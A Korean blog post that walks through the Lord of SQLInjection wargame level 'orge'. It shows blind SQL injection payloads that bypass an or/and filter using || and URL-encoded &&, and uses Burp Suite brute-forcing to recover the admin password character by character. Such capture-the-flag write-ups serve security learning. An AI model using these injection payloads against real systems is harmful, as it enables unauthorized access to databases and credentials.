ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

CHALLENGE

[LOS] ORGE ํ’€์ด(7)

๐ŸŒง: 2020. 12. 6.

7๋ฒˆ์งธ ๋ฌธ์ œ์ธ " orge " ๋Š” ์ „์— ํ’€์—ˆ๋˜ " orc " ๋ฌธ์ œ์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. " pw='{$_GET [pw]} " ์•ˆ์— ์ฟผ๋ฆฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜์—ฌ ์‹คํ–‰๋˜๋Š” ํ˜•ํƒœ์ด์ง€๋งŒ ๋ช‡ ๊ฐ€์ง€ ๋‹ค๋ฅธ ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

 

๊ฒ€์ฆ๊ตฌ๋ฌธ

1. ๊ธฐ์กด admin ๊ณ„์ • ์ด์™ธ์— guest ๊ณ„์ •์ด ์ถ”๊ฐ€์ ์œผ๋กœ ์กด์žฌํ•จ
2. or , and ์—ฐ์‚ฐ์ž๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ๊ฒ€์ฆํ•˜๊ณ  ์žˆ์Œ

 

๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•œ ํฌ์ธํŠธ ๋ถ€๋ถ„์€

$query = "select pw from prob_orge where id='admin' and pw='{$_GET [pw]}'"; 
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("orge"); 

์œ„์ฒ˜๋Ÿผ 'admin' ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ์ถ”๊ฐ€์ ์œผ๋กœ ์„ ์–ธํ•ด์ค˜์•ผ ํ•˜๋ฉฐ, ์ž…๋ ฅ๋œ pw ๊ฐ’๊ณผ = DB์— ์žˆ๋Š” pw ๊ฐ’์ด ์ผ์น˜ํ•ด์•ผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ฆ‰ " orc " ๋ ˆ๋ฒจ์ฒ˜๋Ÿผ BSQLI ๊ธฐ๋ฒ•์„ ํ™œ์šฉํ•ด์„œ ์ฐธ, ๊ฑฐ์ง“ ๊ฐ’์„ ํ†ตํ•œ ํŒจ์Šค์›Œ๋“œ ์œ ์ถ”๋ฅผ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

๋˜ํ•œ ์—ฐ์‚ฐ์ž " or " ์™€ " and " ๋Š” ๊ฒ€์ฆ์„ ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ถ”๊ฐ€์ ์œผ๋กœ ์šฐํšŒ ๊ธฐ๋ฒ•์„ ํ†ตํ•ด์„œ ์—ด๊ฑฐํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

์šฐ์„  guest ๊ณ„์ •์ด ์•„๋‹Œ "admin" ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋ฅผ ์œ ์ถ”ํ•ด์•ผ ๋˜๊ธฐ ๋•Œ๋ฌธ์— " or " ์™€ " and " ๊ตฌ๋ฌธ์„ ํ†ตํ•ด ์ฐธ ๊ฐ’๊ณผ ๊ฑฐ์ง“ ๊ฐ’์„ ๋น„๊ตํ•ด ๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

OR AND ์šฐํšŒ

' || id='admin' %26%26 length(pw)>1%23  --> TRUE
' || id='admin' %26%26 length(pw)>8%23  --> FALSE

 

or --> " || "

and --> && --> %26%26 ( GET ๋ฐฉ์‹์œผ๋กœ๋Š” "&" ๋ฅผ ์ดํ•ดํ•˜์ง€ ๋ชปํ•˜๊ธฐ์— ์ธ์ฝ”๋”ฉ)

 

pw=' || id='admin' %26%26 ascii(substr(pw,1,1))=47%23

ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋ฅผ ํ™•์ธํ–ˆ์œผ๋‹ˆ ์ด์ œ 8์ž๋ฆฌ ๋ฌธ์ž์—ด์˜ ๊ฐ ์ž๋ฆฟ์ˆ˜๋งˆ๋‹ค ์–ด๋–ค ๋ฌธ์ž์—ด์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ์ฐธ, ๊ฑฐ์ง“ ์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 

 

" burp suite " ์˜ Cluster bomb ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋นจ๊ฐ„ ๋ฐ•์Šค ์ณ์ง„ $1$ ๊ณผ $47$ ๋ถ€๋ถ„์— ๊ฐ’์„ ํ•˜๋‚˜์”ฉ ๋Œ€์ž…ํ•ด๋ณด๋ฉฐ ์ˆซ์ž ํ˜•ํƒœ๋กœ ๋œ ํŒจ์Šค์›Œ๋“œ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•ด๋ณผ ๊ฒ๋‹ˆ๋‹ค.

32 ~ 47 : ํŠน์ˆ˜๋ฌธ์ž (space,!, ", #, $, %, & ๋“ฑ)
58 ~ 64 : 
ํŠน์ˆ˜๋ฌธ์ž (:, ;, <, =, >,?, @)
123 ~ 126 : 
ํŠน์ˆ˜๋ฌธ์ž ({, |, }, ~)
48 ~ 57 : 
์ˆซ์ž (0 ~ 9)
65 ~ 90 : 
์˜์–ด(๋Œ€๋ฌธ์ž) (A ~ Z)
97 ~ 122  : 
์˜์–ด(์†Œ๋ฌธ์ž) (a ~ z)

 

" ์ฒดํฌ " ํ‘œ์‹œ๋œ ๋ถ€๋ถ„์„ ๋ณด์‹œ๋Š” ๊ฒƒ์ฒ˜๋Ÿผ 8์ž๋ฆฌ ์ค‘ 1, 3, 4, 5 ๋ฒˆ์งธ ์ž๋ฆฌ์— ์ˆซ์ž๊ฐ€ ์‚ฌ์šฉ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. " payload1 " ์˜์—ญ์€ ๊ฐ ์ž๋ฆฟ์ˆ˜๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ " payload2 " ๋Š”  " ์ฐธ " ๊ฐ’์œผ๋กœ ๋„์ถœ๋œ ํŒจ์Šค์›Œ๋“œ์ž…๋‹ˆ๋‹ค.

 

payload ์„ค์ •์„ ๋ฐ”๊ฟ”์„œ ์ด๋ฒˆ์—๋Š” " ์†Œ๋ฌธ์ž " ํ˜•ํƒœ๋กœ ์„ค์ •๋œ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์•Œ์•„๋ณด๊ธฐ ์œ„ํ•ด ascii ์ฝ”๋“œ 97  ~ 122๊นŒ์ง€ ์ง€์ •ํ•ด์ฃผ๊ณ  ๋Œ€์ž…ํ•ด๋ณธ ๊ฒฐ๊ณผ ๋‚˜๋จธ์ง€ 2, 6, 7, 8 ์ž๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ชจ๋‘ ๋‚˜์™”์Šต๋‹ˆ๋‹ค.

 

ASCII ์ฝ”๋“œ๋ฅผ ์›๋ž˜ ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜

55 --> 7
98 --> b
55 --> 7
53 --> 5
49 --> 1
97 --> a
101 --> e
99 --> c

 

orc ๋ฌธ์ œ์™€ ์ง„ํ–‰๋ฐฉ๋ฒ•์€ ๋™์ผํ•˜์ง€๋งŒ ์ถœ์ œ์ž์˜ ์˜๋„๋ฅผ ํŒŒ์•…ํ•ด๋ณด๋ฉด " ์ง€์ •๋œ ๊ณ„์ • " ์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ฐธ, ๊ฑฐ์ง“ ์„ ํ†ตํ•ด ํŒจ์Šค์›Œ๋“œ๋ฅผ ์œ ์ถ”ํ•˜๊ธธ ์›ํ–ˆ์œผ๋ฉฐ ์—ฌ๊ธฐ์„œ ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ์—ฐ์‚ฐ์ž์ธ " or์™€  and "๋ฅผ ๊ฒ€์ฆํ•œ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ์ง„ํ–‰ํ•  ๊ฒƒ์ธ๊ฐ€?๋ผ๋Š” ๋ฌธ์ œ๋กœ ํŒŒ์•…๋ฉ๋‹ˆ๋‹ค.

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[LOS] Vampire ํ’€์ด(9)  (0) 2020.12.06
[LOS] Troll ํ’€์ด(8)  (0) 2020.12.06
XSS Challenges 3  (0) 2020.12.05
[LOS] darkelf ํ’€์ด(6)  (0) 2020.12.05
[LOS] wolfman ํ’€์ด(5)  (0) 2020.12.05
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment